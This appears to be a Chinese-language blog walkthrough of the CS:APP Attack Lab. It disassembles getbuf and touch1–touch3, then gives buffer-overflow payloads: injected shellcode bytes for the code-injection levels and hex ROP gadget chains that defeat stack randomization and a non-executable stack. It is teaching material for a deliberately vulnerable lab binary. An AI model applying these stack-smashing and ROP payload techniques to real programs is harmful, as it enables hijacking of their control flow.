赞
踩
前三个实验需要利用代码注入来攻击从ctarget,劫持test()的返回地址,然后分别调用touch1~touch3三个函数
后两个实验需要利用ROP来攻击rtarget,劫持test()的返回地址,然后分别调用touch1和touch2两个函数
rtarget提供了farm.c里面许多有意构造的函数来完成ROP攻击。
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp分配了40 个字节 getbuf的栈
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
test函数:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx调用者test()的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
(gdb) disas touch1
Dump of assembler code for function touch1:
0x00000000004017c0 <+0>: sub $0x8,%rsp touch1的地址
0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel>
0x00000000004017ce <+14>: mov $0x4030c5,%edi
0x00000000004017d3 <+19>: callq 0x400cc0 <puts@plt>
0x00000000004017d8 <+24>: mov $0x1,%edi
0x00000000004017dd <+29>: callq 0x401c8d <validate>
0x00000000004017e2 <+34>: mov $0x0,%edi
0x00000000004017e7 <+39>: callq 0x400e40 <exit@plt>
End of assembler dump.
getbuf在栈中分配了40个字节来存储数据,然后在进行完以后会从四十个字节后返回地址,所以我们需要将返回的地址修改成touch1的起始地址即可。
Dump of assembler code for function touch2:
0x00000000004017ec <+0>: sub $0x8,%rsp touch2的开始地址
0x00000000004017f0 <+4>: mov %edi,%edx
0x00000000004017f2 <+6>: movl $0x2,0x202ce0(%rip) # 0x6044dc <vlevel>
0x00000000004017fc <+16>: cmp 0x202ce2(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401802 <+22>: jne 0x401824 <touch2+56>
0x0000000000401804 <+24>: mov $0x4030e8,%esi
0x0000000000401809 <+29>: mov $0x1,%edi
0x000000000040180e <+34>: mov $0x0,%eax
0x0000000000401813 <+39>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401818 <+44>: mov $0x2,%edi
0x000000000040181d <+49>: callq 0x401c8d <validate>
0x0000000000401822 <+54>: jmp 0x401842 <touch2+86>
0x0000000000401824 <+56>: mov $0x403110,%esi
0x0000000000401829 <+61>: mov $0x1,%edi
0x000000000040182e <+66>: mov $0x0,%eax
---Type <return> to continue, or q <return> to quit---
0x0000000000401833 <+71>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401838 <+76>: mov $0x2,%edi
0x000000000040183d <+81>: callq 0x401d4f <fail>
0x0000000000401842 <+86>: mov $0x0,%edi
0x0000000000401847 <+91>: callq 0x400e40 <exit@plt>
End of assembler dump.
test函数:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx调用者test()的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
进入getbuf函数
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
查看一下rsp指向的地址:
第一个就是栈底,把代码保存到栈底然后然后直接跳转运行。
可以得到三条指令如下:
48 c7 c7 fa 97 b9 59 ff 34 25 ec 17 40 00 c3
要求调用touch3,需要我们在内存中放入一个和cookie相同的字符串:
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push %rbx
0x00000000004018fb <+1>: mov %rdi,%rbx
0x00000000004018fe <+4>: movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov %rdi,%rsi
0x000000000040190b <+17>: mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401911 <+23>: callq 0x40184c <hexmatch> 不可以把注入代码和cookie放在getbuf栈中否则会被覆盖掉
0x0000000000401916 <+28>: test %eax,%eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov %rbx,%rdx
0x000000000040191d <+35>: mov $0x403138,%esi
0x0000000000401922 <+40>: mov $0x1,%edi
0x0000000000401927 <+45>: mov $0x0,%eax
0x000000000040192c <+50>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401931 <+55>: mov $0x3,%edi
0x0000000000401936 <+60>: callq 0x401c8d <validate>
---Type <return> to continue, or q <return> to quit---
0x000000000040193b <+65>: jmp 0x40195e <touch3+100>
0x000000000040193d <+67>: mov %rbx,%rdx
0x0000000000401940 <+70>: mov $0x403160,%esi
0x0000000000401945 <+75>: mov $0x1,%edi
0x000000000040194a <+80>: mov $0x0,%eax
0x000000000040194f <+85>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401954 <+90>: mov $0x3,%edi
0x0000000000401959 <+95>: callq 0x401d4f <fail>
0x000000000040195e <+100>: mov $0x0,%edi
0x0000000000401963 <+105>: callq 0x400e40 <exit@plt>
End of assembler dump.
- /* Compare string to hex represention of unsigned value */
- int hexmatch(unsigned val, char *sval) {
- char cbuf[110];
- /* Make position of check string unpredictable */
- char *s = cbuf + random() % 100;
- sprintf(s, "%.8x", val);
- return strncmp(sval, s, 9) == 0;
- }
-
- void touch3(char *sval) {
- vlevel = 3; /* Part of validation protocol */
- if (hexmatch(cookie, sval)) {
- printf("Touch3!: You called touch3(\"%s\")\n", sval);
- validate(3);
- } else {
- printf("Misfire: You called touch3(\"%s\")\n", sval);
- fail(3);
- }
- exit(0);
- }

本关我们需要跳转到touch3, 传入touch3的参数是一个字符串,并且这个地址指向的字符串要与cookie的字符串表示相同,在汇编语言中传入的第一个参数存放在rdi寄存器里面,所以我们不仅要将这串字符串放入栈中,我们还要讲rdi的值设置为字符串的首地址。
在touch3函数里面调用了hexmatch(cookie, sval),这个函数是用来匹配cookie和传进来的字符是否匹配,所以我们传进去的参数应该就是cookie的值--->59b997fa
我们先将cookie字符串转化为16进制
35 39 62 39 39 37 66 61 00
将字符串的地址传到%rdi 当中,想要调用touch3函数就要将touch3函数的地址压栈。
执行汇编语言:
- movq $0x5561dca8,%rdi
- pushq 0x4018fa
- ret
-
- 48 c7 c7 a8 dc 61 55 ff 34 25 fa 18 40 00 c3
第四关和第五关于前三关是有所区别的,前三关我们可以通过代码注入的攻击手段;但是后面这两关的程序对代码攻击采取了两种防护方式:
1.栈随机化
2.标记内存中的栈段为不可执行
我们虽然无法使用栈来存放代码,但是我们可以利用程序中原有的代码,利用ret指令跳转的特性,去执行已经存在的指令。
通过对代码的分析我们要找到两个gadget
把cookie的值放到栈里面,通过gadget1把值pop到%rax中
再通过gadget2把%rax中的值复制到%rdi里面
最后调用touch2
gadget1:
gadget2:
分别计算出执行gadget指令地址: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 前0x28个字符填充0x00 ab 19 40 00 00 00 00 00 # popq %rax fa 97 b9 59 00 00 00 00 # cookie (popq的目标) a2 19 40 00 00 00 00 00 # movq %rax,%rdi ec 17 40 00 00 00 00 00 # 返回到 touch2
将rdi指向cookie的字符串表示首地址
作用是将rdi与rsi中的值相加,然后放在rax中。
完成步骤
对于参数一来说:%rdi
1.movq %rsp,%rax
2.movq %rax,%rdi
对于参数二来说:%rsi
1.popq %rax
2.movl %eax,%edx
3.movl %edx,%ecx
4.movl %ecx,%rsi
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 前0x28个字符填充0x00 cc 19 40 00 00 00 00 00 # popq %rax 20 00 00 00 00 00 00 00 # 偏移量 42 1a 40 00 00 00 00 00 # movl %eax,%edx 69 1a 40 00 00 00 00 00 # movl %edx,%ecx 27 1a 40 00 00 00 00 00 # movl %ecx,%esi 06 1a 40 00 00 00 00 00 # movq %rsp,%rax c5 19 40 00 00 00 00 00 # movq %rax,%rdi d6 19 40 00 00 00 00 00 # add_xy c5 19 40 00 00 00 00 00 # movq %rax,%rdi fa 18 40 00 00 00 00 00 # touch3地址 35 39 62 39 39 37 66 61 # 目标字符串 00 00 00 00 00 00 00 00
参考
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。